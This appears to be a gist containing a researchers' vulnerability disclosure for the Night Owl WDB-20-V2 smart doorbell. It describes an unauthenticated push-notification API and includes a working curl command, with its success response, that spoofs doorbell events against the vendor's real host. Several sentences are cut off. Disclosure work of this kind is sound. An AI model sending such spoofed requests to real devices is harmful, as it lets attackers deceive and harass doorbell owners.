tj-oconnor / **NightOwl Disclosure** Secret

Created last year



Code Revisions 1

NightOwl Disclosure

```
Vulnerability

The Night Owl Doorbell mishandles encryption, which allows attacker to insert or spoof notifications into the device that do not correspond

Affected Items

Night Owl Doorbell Series - WDB-20-V2

The a↵ected Night Owl doorbell communicate events (such as doorbell ring events) to a third party Push Notification Service located at host

• cmd - command being run
• uid - unique identifier, based on serial number
• event type - enumerable event type
• event time - unix timestamp for when event occurred

An attacker can use the command line tool, curl, to simply spoof a fake event as described below.
$ curl "http://host.nightowldvr04.com/tpns?cmd=event&uid=BEG6ZXASXXXXXXXXXXX&event_type =1&dev_type=0001"
200 Success. $

Impact of the vulnerability

An attacker can abuse this unsecure API to insert of spoof events, including ghost doorbell notification events that do not correspond to a

Acknowledgements

Florida Tech IoT Security and Privacy and ASSIST Research Labs
```